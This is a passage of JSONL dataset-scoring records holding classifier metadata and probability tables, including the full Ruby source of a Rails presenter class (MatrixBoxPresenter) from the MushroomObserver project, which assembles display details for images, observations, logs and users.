"missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}}, "usage": {"input_tokens": 10821, "output_tokens": 19}, "cache": {"status": "unreported", "cached_tokens": null, "cache_write_tokens": null, "input_tokens": 10821, "cached_share": null, "cache_discount_reported": null, "reported_cost_usd": null}, "response_metadata": {"model": "decision-models/baseten-mammoth-27b-latest"}, "scored_at_utc": "2026-10-25T18:32:17.683428+00:00", "scoring_key_slot": "assistant_1", "dataset_uid": "90a57638-85ee-492a-93fc-33f07a67b63e", "dataset_revision": "62077439f2c81c79b71c084d1057ee1d042369a3", "dataset_config": "default", "content_variant": "content", "source_record_sha256": "d2afc354394faee7e95c27a27633c7cac9f93de77c0a6c383aaa1b635c4bd62a", "source_metadata": {"uuid": "90a57638-85ee-492a-93fc-33f07a67b63e", "repo_name": "EuroServizi/openproject_aziendale", "relative_path": "app/controllers/my_controller.rb", "category": "WEB", "algo_rel_score": 0.9765352606773376, "quality_score": 6.679325103759766, "source_meta": {"github_metadata": {"branch": "stable/5", "commit_count": 26463, "repo_created_at": "2016-03-23T09:26:01.000Z", "is_fork": false, "is_org_owned": false, "forked_from": null, "stars": 0, "forks": 0, "issues": 0, "pull_requests": 0}, "file_meta": {"content_id": "c241a8a5402276b6df9af9bc6c7074eacf45a295", "size_bytes": 9163, "file_timestamp": 1526387479, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "b01742229379b2bf003ded2c34a9d4ebd9b2942f"}}, "parsed_source_meta": {"github_metadata": {"branch": "stable/5", "commit_count": 26463, "repo_created_at": "2016-03-23T09:26:01.000Z", "is_fork": false, "is_org_owned": false, "forked_from": null, "stars": 0, "forks": 0, "issues": 0, "pull_requests": 0}, "file_meta": {"content_id": "c241a8a5402276b6df9af9bc6c7074eacf45a295", "size_bytes": 9163, "file_timestamp": 1526387479, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "b01742229379b2bf003ded2c34a9d4ebd9b2942f", "url": "https://github.com/EuroServizi/openproject_aziendale/blob/b01742229379b2bf003ded2c34a9d4ebd9b2942f/app/controllers/my_controller.rb"}, "gpt4o_tokens": 2199, "dataset_split": "ruby", "probability_weighted_scores": {"content_quality": 1.1536503620041834, "noise_severity": 0.648082071635298, "missing_content_severity": 0.17142568609105086, "factual_density": 3.4044153455481156, "pretraining_utility": 0.39529323580178, "math_density": 0.002407852191077361, "code_density": 3.7026736428759612, "reasoning_density": 0.4911996933291806, "education_level": 2.5042592146925027, "creative_writing_quality": -0.21987940428621303}, "score_applicability": {"education_level": 0.9988266071229528, "creative_writing_quality": 0.0006188408144459769}} {"source_group": "ruby", "source": "openbmb/UltraData-Stack-v3-L2/ruby", "domain": "github.com", "language": "ruby", "url": "https://github.com/MushroomObserver/mushroom-observer/blob/55e1e67a771cbfab44d31cd975f827793bd3c581/app/presenters/matrix_box_presenter.rb", "id": "ruby-0-250b49bb2d0aa4fece7633cd711701cb", "text": "# frozen_string_literal: true\n\n# Gather details for items in matrix-style ndex pages.\nclass MatrixBoxPresenter < BasePresenter\n attr_accessor \\\n :id, # id of the target or log object\n :type, # what kind of box is this\n :image_data, # data passed to thumbnail_presenter\n :when, # when object or target was created\n :who, # owner of object or target\n :name, # name of object or target\n :what, # link to object or target\n :consensus, # object for determining the current favorite name of an obs\n :where, # place name of location\n :location, # location (object) of object or target\n :detail, # string with extra details\n :time # when object or target was last modified\n\n def initialize(_user, object)\n super\n\n case object\n when Image\n image_to_presenter(object)\n when Observation\n observation_to_presenter(object)\n when RssLog\n rss_log_to_presenter(object)\n when User\n user_to_presenter(object)\n end\n end\n\n # Grabs all the information needed for view from RssLog instance.\n def rss_log_to_presenter(rss_log)\n target = rss_log.target\n self.id = target&.id || rss_log.id\n self.type = rss_log.target_type || :rss_log\n self.when = target.when&.web_date if target.respond_to?(:when)\n self.who = target.user if target&.user\n self.name = if rss_log.target_type == :image\n target.unique_format_name.t\n elsif target\n target.format_name.t.break_name.small_author\n else\n rss_log.format_name.t.break_name.small_author\n end\n self.what = target || rss_log\n if target.respond_to?(:location)\n self.where = target.where\n self.location = target.location\n end\n self.time = rss_log.updated_at\n\n figure_out_rss_log_target_images(target)\n return unless (temp = rss_log.detail)\n\n temp = target.source_credit.tpl if target.respond_to?(:source_credit) &&\n target.source_noteworthy?\n\n # To avoid calling rss_log.detail twice\n self.detail = temp\n end\n\n # Grabs all the information needed for view from Image instance.\n def image_to_presenter(image)\n self.id = image.id\n self.type = :image\n self.when = begin\n image.when.web_date\n rescue StandardError\n nil\n end\n self.who = image.user\n self.name = image.unique_format_name.t\n self.what = image\n self.image_data = {\n image: image,\n # for matrix_box_carousels:\n # images: [image],\n image_link: image.show_link_args,\n full_width: true\n }\n end\n\n # Grabs all the information needed for view from Observation instance.\n def observation_to_presenter(observation)\n self.id = observation.id\n self.type = :observation\n self.when = observation.when.web_date\n self.who = observation.user if observation.user\n self.name = observation.user_format_name(observation.user).\n t.break_name.small_author\n self.what = observation\n self.where = observation.where\n self.location = observation.location\n self.consensus = Observation::NamingConsensus.new(observation)\n if observation.rss_log\n self.detail = observation.rss_log.detail\n self.time = observation.rss_log.updated_at\n end\n return unless observation.thumb_image_id\n\n # for matrix_box_carousels:\n # observation.images is eager-loaded, observation.thumb_image is not.\n # thumb_image = observation.images.\n # find { |i| i.id == observation.thumb_image_id }\n\n self.image_data = {\n image: observation.thumb_image,\n # for matrix_box_carousels:\n # images: observation.images,\n # thumb_image: thumb_image,\n image_link: observation.show_link_args, # false for thumb thru images\n obs: observation,\n full_width: true\n }\n end\n\n # Grabs all the information needed for view from User instance.\n def user_to_presenter(user)\n self.id = user.id\n self.type = :user\n # rubocop:disable Rails/OutputSafety\n # The results of .t and web_date are guaranteed to be safe, and both\n # user.contribution and observations.count are just numbers.\n self.detail = \"#{:list_users_joined.t}: #{user.created_at.web_date}
\n #{:list_users_contribution.t}: #{user.contribution}
\n #{:Observations.t}: #{user.observations.size}\".html_safe\n # rubocop:enable Rails/OutputSafety\n self.name = user.unique_text_name\n self.what = user\n self.where = user.location.name if user.location\n self.location = user.location if user.location\n return unless user.image_id\n\n # Not user.images because that's every image they've uploaded\n self.image_data = {\n image: user.image_id,\n # for matrix_box_carousels:\n # images: [user.image_id],\n image_link: user.show_link_args,\n votes: false,\n full_width: true\n }\n end\n\n # The target may not have images or a thumb_image\n def figure_out_rss_log_target_images(target)\n return unless target.respond_to?(:thumb_image) && target&.thumb_image\n\n # for matrix_box_carousels replace the above line with:\n # images = if target.respond_to?(:images) &&\n # target&.images&.length&.positive?\n # target.images\n # elsif target.respond_to?(:thumb_image) && target&.thumb_image\n # [target.thumb_image]\n # end\n # return unless images\n\n self.image_data = {\n image: target.thumb_image,\n image_link: target.show_link_args,\n # for matrix_box_carousels:\n # images: images,\n # image_link: target.show_link_args,\n obs: obs_data(target),\n full_width: true\n }\n end\n\n def display_time\n time&.display_time\n end\n\n # pass another arg to allow image stretched-link to link to obs, or other obj\n def obs_or_other_link(observation)\n observation.show_link_args\n end\n\n # 20231125 Switched from a hash of { id:, obs: } to just obs\n def obs_data(observation)\n return {} unless observation.respond_to?(:is_collection_location)\n\n observation\n end\nend\n", "text_preview": "# frozen_string_literal: true # Gather details for items in matrix-style ndex pages. class MatrixBoxPresenter < BasePresenter attr_accessor \\ :id, # id of the target or log object :type, # what kind of box is this :image_data, # data passed", "input_sha256": "89fa76327e6cf60cae35d753d031a61784bfe9a1ceba62f411953485c04e024c", "text_sha256": "250b49bb2d0aa4fece7633cd711701cb97c39fbb15cd9620b3cff2d831af13dc", "run_sha256": "0dbe3046118ab5f0eea428b55f67ac75d558dc1c7da585927c21fa1685f6e177", "line_number": 16057, "input_policy": "text-and-optional-url-v1", "label_policy_version": 12, "requested_model": "decision-models/baseten-mammoth-27b-latest", "backend": "baseten", "endpoint": "https://inference.baseten.co/v1/systemone", "status": "ok", "training_eligible": true, "label": {"primary": {"main_format": "Technical Writing", "sub_format": null}, "secondary": null, "tertiary": null, "content_structure": []}, "candidate_label": null, "topic": {"primary": {"main_topic": "Programming & Software Engineering", "sub_topic": null}, "secondary": null}, "scores": {"content_quality": 1, "noise_severity": 0, "missing_content_severity": 0, "factual_density": 4, "pretraining_utility": 0, "math_density": 0, "code_density": 4, "reasoning_density": 0, "education_level": 2, "creative_writing_quality": null}, "score_expectations": {"content_quality": 1.153357269976691, "noise_severity": 0.061843812776870774, "missing_content_severity": 0.044237641523467, "factual_density": 3.456190544358667, "pretraining_utility": 0.420955045171132, "math_density": 0.0030418296696443467, "code_density": 3.8858742387758065, "reasoning_density": 0.5511184502380746, "education_level": 2.3420429531156923, "creative_writing_quality": -0.10460357297900641}, "api_choices": {"primary": "Technical Writing", "secondary": "NONE", "tertiary": "NONE", "education_level": "2", "creative_writing_quality": "not_applicable", "primary_topic": "Programming & Software Engineering", "secondary_topic": "NONE"}, "review_reasons": [], "format_slot_diagnostics": {"comparable": true, "secondary_tertiary_identical": false, "secondary_tertiary_max_abs_gap": 0.007843364860839475, "secondary_choice": "NONE", "tertiary_choice": "NONE"}, "confidence": {"primary": 0.998197260798824, "secondary": 0.9863517285469262, "tertiary": 0.9945361092712804, "structured_records": 0.009882281283627526, "procedural_steps": 0.002529987140979353, "worked_solution": 0.0009576524513769835, "contextual_dialogue": 4.1924613867413025e-06, "content_quality": 0.5884460572881218, "noise_severity": 0.9484634893526077, "missing_content_severity": 0.9631352987304441, "factual_density": 0.5468254536322223, "pretraining_utility": 0.46224974386366524, "math_density": 0.997465141941963, "code_density": 0.9048951989798386, "reasoning_density": 0.5407346248016045, "education_level": 0.6009648741376633, "creative_writing_quality": 0.9994670556118248, "primary_topic": 0.9883273998242275, "secondary_topic": 0.9188262255275822}, "probability_margin": {"primary": 0.9974155508237864, "secondary": 0.9779484635781293, "tertiary": 0.9922391656884277, "education_level": 0.38974078271714613, "creative_writing_quality": 0.9993072170485022, "primary_topic": 0.9821791585519808, "secondary_topic": 0.8805510690741736}, "raw_probabilities": {"primary": {"Academic Writing": 2.1479833765342993e-05, "Content Listing": 2.5135111993051472e-05, "Creative Writing": 7.526136077537885e-06, "Customer Support Page": 5.135505055522412e-06, "Q&A Forum": 6.748797904937068e-06, "Discussion Thread": 3.948066108827492e-06, "Comment Section": 7.680550476671928e-06, "Missing Content": 1.2352135113458961e-05, "Knowledge Article": 3.987451150665978e-05, "Legal Notices": 1.4762746825883006e-05, "News Article": 2.481109623030588e-06, "Organizational Announcement": 1.0634196404735588e-05, "Nonfiction Writing": 6.481957491524166e-06, "Organizational About Page": 7.829713180810422e-06, "Personal About Page": 6.414684572710898e-06, "Personal Blog": 4.106083130280534e-06, "Product Page": 4.595504182975419e-06, "Spam / Ads": 5.764957914227167e-06, "Structured Data": 0.0005830274882811863, "Technical Writing": 0.9982723749322063, "Transcript / Interview": 8.451103896373217e-06, "Tutorial / How-To Guide": 8.25399626483397e-05, "User Reviews": 3.830803219668705e-06, "Other / Unknown": 0.0008568241084198666}, "secondary": {"Academic Writing": 8.329594529134301e-05, "Content Listing": 0.00010639032144978623, "Creative Writing": 5.623849283005563e-05, "Customer Support Page": 3.300465667103719e-05, "Q&A Forum": 2.2883164960328506e-05, "Discussion Thread": 2.0287837343676707e-05, "Comment Section": 0.00027733836440770715, "Missing Content": 0.00016289000380417497, "Knowledge Article": 0.0003517803386701958, "Legal Notices": 6.84273265035601e-05, "News Article": 2.96630589727157e-05, "Organizational Announcement": 4.664278271312843e-05, "Nonfiction Writing": 3.636234885044289e-05, "Organizational About Page": 4.273756133143667e-05, "Personal About Page": 3.4902560865099426e-05, "Personal Blog": 2.50007493908605e-05, "Product Page": 1.9651263941525505e-05, "Spam / Ads": 3.802983050506526e-05, "Structured Data": 0.0023205173801683337, "Technical Writing": 0.008971942946008341, "Transcript / Interview": 3.8677685102219173e-05, "Tutorial / How-To Guide": 0.00027860644482485765, "User Reviews": 1.4322411256531013e-05, "NONE": 0.9869204065241376}, "tertiary": {"Academic Writing": 4.792468006438419e-05, "Content Listing": 9.449830299191686e-05, "Creative Writing": 3.971512022558382e-05, "Customer Support Page": 2.0665231962225323e-05, "Q&A Forum": 1.4934260016404535e-05, "Discussion Thread": 1.2791363635918342e-05, "Comment Section": 0.00031419059730762605, "Missing Content": 0.00020186551901965548, "Knowledge Article": 0.00016916465422920339, "Legal Notices": 8.371335152445283e-05, "News Article": 2.255444725801562e-05, "Organizational Announcement": 3.851500797995553e-05, "Nonfiction Writing": 2.8286498748024095e-05, "Organizational About Page": 3.781797970083052e-05, "Personal About Page": 2.0284885473584346e-05, "Personal Blog": 1.8379617105826124e-05, "Product Page": 1.542262137044022e-05, "Spam / Ads": 2.4762876519048303e-05, "Structured Data": 0.0012155301409011643, "Technical Writing": 0.002524605696549351, "Transcript / Interview": 2.205234343697996e-05, "Tutorial / How-To Guide": 0.0002581293651031886, "User Reviews": 1.0424053899198737e-05, "NONE": 0.9947637713849771}, "structured_records": {"false": 0.9901177187163724, "true": 0.009882281283627526}, "procedural_steps": {"false": 0.9974700128590206, "true": 0.002529987140979353}, "worked_solution": {"false": 0.999042347548623, "true": 0.0009576524513769835}, "contextual_dialogue": {"false": 0.9999958075386133, "true": 4.1924613867413025e-06}, "content_quality": {"-2": 0.002999244043571052, "-1": 0.008362102481187047, "0": 0.1445317935456942, "1": 0.5204958593140754, "2": 0.3236110006154724}, "noise_severity": {"0": 0.9447585894526407, "1": 0.0503382028125397, "2": 0.003649141526058397, "3": 0.0008089379228296355, "4": 0.00044512828593133876}, "missing_content_severity": {"0": 0.9632185663003049, "1": 0.03149507212495295, "2": 0.0035891351580309666, "3": 0.0012246065843922052, "4": 0.0004726198323188737}, "factual_density": {"0": 0.0033237157543028087, "1": 0.006931722152874688, "2": 0.06638204683835758, "3": 0.37695533248878266, "4": 0.5464071827656822}, "pretraining_utility": {"-2": 0.00772351916893893, "-1": 0.09672559275835688, "0": 0.4258151017031793, "1": 0.4063438964716831, "2": 0.06339188989784188}, "math_density": {"0": 0.9984286034918285, "1": 0.0009779361931825405, "2": 0.00010550178870896236, "3": 9.894420607663725e-05, "4": 0.0003890143202034926}, "code_density": {"0": 0.00014700627152908107, "1": 0.0002902382252548626, "2": 0.0076131453131263556, "3": 0.09744073083606006, "4": 0.8945088793540296}, "reasoning_density": {"0": 0.6619113107099897, "1": 0.18694046942567258, "2": 0.10601837714022141, "3": 0.02837814436450615, "4": 0.016751698359610188}, "education_level": {"none": 0.0010603679864849963, "0": 0.001458307827135382, "1": 0.012564789457756744, "2": 0.6674707284480528, "3": 0.27772994573090665, "4": 0.03971586054966331}, "creative_writing_quality": {"not_applicable": 0.9995558796765207, "-2": 3.807205666664334e-05, "-1": 7.3929542278767e-05, "0": 0.00024866262801850783, "1": 6.329511008700591e-05, "2": 2.0160986428266178e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 3.878275075808696e-05, "Art & Design": 0.00017922532952644376, "Law & Crime": 3.5521846344548326e-05, "Education & Careers": 3.1088532140247304e-05, "Entertainment & Media": 3.651540978222237e-05, "Fashion & Beauty": 3.738562597121254e-05, "Business, Economics & Finance": 5.65862774297374e-05, "Food & Dining": 6.661515317931697e-05, "Games & Gaming": 6.598923712225948e-05, "Electronics & Hardware": 4.941286243124526e-05, "Health, Healthcare & Wellness": 0.00015050015019945191, "History & Geography": 6.854015372013833e-05, "Home, Pets & Hobbies": 0.0012073350942186998, "Industry & Production": 5.140751833319635e-05, "Language, Literature & Philosophy": 4.456678586726072e-05, "Politics & Government": 2.14320492384107e-05, "Religion & Spirituality": 5.71695200820026e-05, "Science, Mathematics & Engineering": 0.006597187432853366, "Relationships & Community": 0.00013642821380624155, "Software Usage & Applications": 0.00027437378860729065, "Programming & Software Engineering": 0.9887763459848341, "Sports & Fitness": 4.934563900679646e-05, "Vehicles & Transportation": 2.1273803359419306e-05, "Travel & Tourism": 7.549234489613523e-05, "Other / Uncovered Subject": 0.0016588245341993245, "Unknown / Insufficient Content": 0.00021265396209289674}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.00048206442724369445, "Art & Design": 0.001565378173979395, "Law & Crime": 0.000307493426571323, "Education & Careers": 0.000210971243499437, "Entertainment & Media": 0.0003698013051847511, "Fashion & Beauty": 0.00022853738938737714, "Business, Economics & Finance": 0.00035500179238419116, "Food & Dining": 0.0003888293512035956, "Games & Gaming": 0.0002608949882060792, "Electronics & Hardware": 0.00021776369949902277, "Health, Healthcare & Wellness": 0.0005819816625019444, "History & Geography": 0.00030108073798702263, "Home, Pets & Hobbies": 0.0030799809102289425, "Industry & Production": 0.0001675108369661472, "Language, Literature & Philosophy": 0.00015241537052363706, "Politics & Government": 0.0001538369867363362, "Religion & Spirituality": 0.0003334300363342366, "Science, Mathematics & Engineering": 0.04139722470234779, "Relationships & Community": 0.0001936167439720556, "Software Usage & Applications": 0.0010764223469562388, "Programming & Software Engineering": 0.01568603883398766, "Sports & Fitness": 0.000157897936075484, "Vehicles & Transportation": 7.286602297073003e-05, "Travel & Tourism": 0.000354153370593591, "Other / Uncovered Subject": 0.00995651392813811, "NONE": 0.9219482937765213}}, "probabilities": {"primary": {"Academic Writing": 2.1479833765342993e-05, "Content Listing": 2.5135111993051472e-05, "Creative Writing": 7.526136077537885e-06, "Customer Support Page": 5.135505055522412e-06, "Q&A Forum": 6.748797904937068e-06, "Discussion Thread": 3.948066108827492e-06, "Comment Section": 7.680550476671928e-06, "Missing Content": 1.2352135113458961e-05, "Knowledge Article": 3.987451150665978e-05, "Legal Notices": 1.4762746825883006e-05, "News Article": 2.481109623030588e-06, "Organizational Announcement": 1.0634196404735588e-05, "Nonfiction Writing": 6.481957491524166e-06, "Organizational About Page": 7.829713180810422e-06, "Personal About Page": 6.414684572710898e-06, "Personal Blog": 4.106083130280534e-06, "Product Page": 4.595504182975419e-06, "Spam / Ads": 5.764957914227167e-06, "Structured Data": 0.0005830274882811863, "Technical Writing": 0.9982723749322063, "Transcript / Interview": 8.451103896373217e-06, "Tutorial / How-To Guide": 8.25399626483397e-05, "User Reviews": 3.830803219668705e-06, "Other / Unknown": 0.0008568241084198666}, "secondary": {"Academic Writing": 8.329594529134301e-05, "Content Listing": 0.00010639032144978623, "Creative Writing": 5.623849283005563e-05, "Customer Support Page": 3.300465667103719e-05, "Q&A Forum": 2.2883164960328506e-05, "Discussion Thread": 2.0287837343676707e-05, "Comment Section": 0.00027733836440770715, "Missing Content": 0.00016289000380417497, "Knowledge Article": 0.0003517803386701958, "Legal Notices": 6.84273265035601e-05, "News Article": 2.96630589727157e-05, "Organizational Announcement": 4.664278271312843e-05, "Nonfiction Writing": 3.636234885044289e-05, "Organizational About Page": 4.273756133143667e-05, "Personal About Page": 3.4902560865099426e-05, "Personal Blog": 2.50007493908605e-05, "Product Page": 1.9651263941525505e-05, "Spam / Ads": 3.802983050506526e-05, "Structured Data": 0.0023205173801683337, "Technical Writing": 0.008971942946008341, "Transcript / Interview": 3.8677685102219173e-05, "Tutorial / How-To Guide": 0.00027860644482485765, "User Reviews": 1.4322411256531013e-05, "NONE": 0.9869204065241376}, "tertiary": {"Academic Writing": 4.792468006438419e-05, "Content Listing": 9.449830299191686e-05, "Creative Writing": 3.971512022558382e-05, "Customer Support Page": 2.0665231962225323e-05, "Q&A Forum": 1.4934260016404535e-05, "Discussion Thread": 1.2791363635918342e-05, "Comment Section": 0.00031419059730762605, "Missing Content": 0.00020186551901965548, "Knowledge Article": 0.00016916465422920339, "Legal Notices": 8.371335152445283e-05, "News Article": 2.255444725801562e-05, "Organizational Announcement": 3.851500797995553e-05, "Nonfiction Writing": 2.8286498748024095e-05, "Organizational About Page": 3.781797970083052e-05, "Personal About Page": 2.0284885473584346e-05, "Personal Blog": 1.8379617105826124e-05, "Product Page": 1.542262137044022e-05, "Spam / Ads": 2.4762876519048303e-05, "Structured Data": 0.0012155301409011643, "Technical Writing": 0.002524605696549351, "Transcript / Interview": 2.205234343697996e-05, "Tutorial / How-To Guide": 0.0002581293651031886, "User Reviews": 1.0424053899198737e-05, "NONE": 0.9947637713849771}, "structured_records": {"false": 0.9901177187163724, "true": 0.009882281283627526}, "procedural_steps": {"false": 0.9974700128590206, "true": 0.002529987140979353}, "worked_solution": {"false": 0.999042347548623, "true": 0.0009576524513769835}, "contextual_dialogue": {"false": 0.9999958075386133, "true": 4.1924613867413025e-06}, "content_quality": {"-2": 0.002999244043571052, "-1": 0.008362102481187047, "0": 0.1445317935456942, "1": 0.5204958593140754, "2": 0.3236110006154724}, "noise_severity": {"0": 0.9447585894526409, "1": 0.050338202812539715, "2": 0.003649141526058398, "3": 0.0008089379228296358, "4": 0.00044512828593133887}, "missing_content_severity": {"0": 0.963218566300305, "1": 0.03149507212495296, "2": 0.003589135158030967, "3": 0.0012246065843922055, "4": 0.00047261983231887373}, "factual_density": {"0": 0.0033237157543028087, "1": 0.006931722152874688, "2": 0.06638204683835758, "3": 0.37695533248878266, "4": 0.5464071827656822}, "pretraining_utility": {"-2": 0.007723519168938929, "-1": 0.09672559275835685, "0": 0.4258151017031792, "1": 0.406343896471683, "2": 0.06339188989784186}, "math_density": {"0": 0.9984286034918283, "1": 0.0009779361931825403, "2": 0.00010550178870896234, "3": 9.894420607663722e-05, "4": 0.0003890143202034925}, "code_density": {"0": 0.0001470062715290811, "1": 0.0002902382252548627, "2": 0.007613145313126356, "3": 0.09744073083606007, "4": 0.8945088793540297}, "reasoning_density": {"0": 0.6619113107099897, "1": 0.18694046942567258, "2": 0.10601837714022141, "3": 0.02837814436450615, "4": 0.016751698359610188}, "education_level": {"none": 0.0010603679864849965, "0": 0.0014583078271353822, "1": 0.012564789457756746, "2": 0.6674707284480529, "3": 0.2777299457309067, "4": 0.039715860549663314}, "creative_writing_quality": {"not_applicable": 0.9995558796765208, "-2": 3.8072056666643346e-05, "-1": 7.392954227876702e-05, "0": 0.0002486626280185079, "1": 6.329511008700593e-05, "2": 2.016098642826618e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 3.878275075808696e-05, "Art & Design": 0.00017922532952644376, "Law & Crime": 3.5521846344548326e-05, "Education & Careers": 3.1088532140247304e-05, "Entertainment & Media": 3.651540978222237e-05, "Fashion & Beauty": 3.738562597121254e-05, "Business, Economics & Finance": 5.65862774297374e-05, "Food & Dining": 6.661515317931697e-05, "Games & Gaming": 6.598923712225948e-05, "Electronics & Hardware": 4.941286243124526e-05, "Health, Healthcare & Wellness": 0.00015050015019945191, "History & Geography": 6.854015372013833e-05, "Home, Pets & Hobbies": 0.0012073350942186998, "Industry & Production": 5.140751833319635e-05, "Language, Literature & Philosophy": 4.456678586726072e-05, "Politics & Government": 2.14320492384107e-05, "Religion & Spirituality": 5.71695200820026e-05, "Science, Mathematics & Engineering": 0.006597187432853366, "Relationships & Community": 0.00013642821380624155, "Software Usage & Applications": 0.00027437378860729065, "Programming & Software Engineering": 0.9887763459848341, "Sports & Fitness": 4.934563900679646e-05, "Vehicles & Transportation": 2.1273803359419306e-05, "Travel & Tourism": 7.549234489613523e-05, "Other / Uncovered Subject": 0.0016588245341993245, "Unknown / Insufficient Content": 0.00021265396209289674}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.00048206442724369445, "Art & Design": 0.001565378173979395, "Law & Crime": 0.000307493426571323, "Education & Careers": 0.000210971243499437, "Entertainment & Media": 0.0003698013051847511, "Fashion & Beauty": 0.00022853738938737714, "Business, Economics & Finance": 0.00035500179238419116, "Food & Dining": 0.0003888293512035956, "Games & Gaming": 0.0002608949882060792, "Electronics & Hardware": 0.00021776369949902277, "Health, Healthcare & Wellness": 0.0005819816625019444, "History & Geography": 0.00030108073798702263, "Home, Pets & Hobbies": 0.0030799809102289425, "Industry & Production": 0.0001675108369661472, "Language, Literature & Philosophy": 0.00015241537052363706, "Politics & Government": 0.0001538369867363362, "Religion & Spirituality": 0.0003334300363342366, "Science, Mathematics & Engineering": 0.04139722470234779, "Relationships & Community": 0.0001936167439720556, "Software Usage & Applications": 0.0010764223469562388, "Programming & Software Engineering": 0.01568603883398766, "Sports & Fitness": 0.000157897936075484, "Vehicles & Transportation": 7.286602297073003e-05, "Travel & Tourism": 0.000354153370593591, "Other / Uncovered Subject": 0.00995651392813811, "NONE": 0.9219482937765213}}, "probability_diagnostics": {"primary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "tertiary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "structured_records": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "procedural_steps": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "worked_solution": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "contextual_dialogue": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "content_quality": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "noise_severity": {"raw_sum": 0.9999999999999998, "mass_delta": -2.220446049250313e-16, "missing_mass": 2.220446049250313e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "missing_content_severity": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "factual_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "pretraining_utility": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "math_density": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "code_density": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "reasoning_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "education_level": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "creative_writing_quality": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "primary_topic": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary_topic": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}}, "usage": {"input_tokens": 10027, "output_tokens": 19}, "cache": {"status": "unreported", "cached_tokens": null, "cache_write_tokens": null, "input_tokens": 10027, "cached_share": null, "cache_discount_reported": null, "reported_cost_usd": null}, "response_metadata": {"model": "decision-models/baseten-mammoth-27b-latest"}, "scored_at_utc": "2026-10-25T18:33:01.420927+00:00", "scoring_key_slot": "assistant_1", "dataset_uid": "f91ba403-0046-45de-83bf-a96593b52437", "dataset_revision": "62077439f2c81c79b71c084d1057ee1d042369a3", "dataset_config": "default", "content_variant": "content", "source_record_sha256": "8f60035adf017c4d3d11e384c864034322a89c43228dddef3401a5b3776f129b", "source_metadata": {"uuid": "f91ba403-0046-45de-83bf-a96593b52437", "repo_name": "MushroomObserver/mushroom-observer", "relative_path": "app/presenters/matrix_box_presenter.rb", "category": "TOOL", "algo_rel_score": 0.808192253112793, "quality_score": 5.695032596588135, "source_meta": {"github_metadata": {"branch": "main", "commit_count": 22530, "repo_created_at": "2013-01-09T03:17:31.000Z", "is_fork": false, "is_org_owned": true, "forked_from": null, "stars": 81, "forks": 26, "issues": 153, "pull_requests": 21}, "file_meta": {"content_id": "57a6691539c08599254671012e52e9573a6f962a", "size_bytes": 6247, "file_timestamp": 1752959566, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "55e1e67a771cbfab44d31cd975f827793bd3c581"}}, "parsed_source_meta": {"github_metadata": {"branch": "main", "commit_count": 22530, "repo_created_at": "2013-01-09T03:17:31.000Z", "is_fork": false, "is_org_owned": true, "forked_from": null, "stars": 81, "forks": 26, "issues": 153, "pull_requests": 21}, "file_meta": {"content_id": "57a6691539c08599254671012e52e9573a6f962a", "size_bytes": 6247, "file_timestamp": 1752959566, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "55e1e67a771cbfab44d31cd975f827793bd3c581", "url": "https://github.com/MushroomObserver/mushroom-observer/blob/55e1e67a771cbfab44d31cd975f827793bd3c581/app/presenters/matrix_box_presenter.rb"}, "gpt4o_tokens": 1450, "dataset_split": "ruby", "probability_weighted_scores": {"content_quality": 1.153357269976691, "noise_severity": 0.061843812776870774, "missing_content_severity": 0.044237641523467, "factual_density": 3.456190544358667, "pretraining_utility": 0.4209550451711321, "math_density": 0.003041829669644347, "code_density": 3.8858742387758065, "reasoning_density": 0.5511184502380746, "education_level": 2.3420429531156923, "creative_writing_quality": -0.10460357297900641}, "score_applicability": {"education_level": 0.998939632013515, "creative_writing_quality": 0.00044412032347919037}} 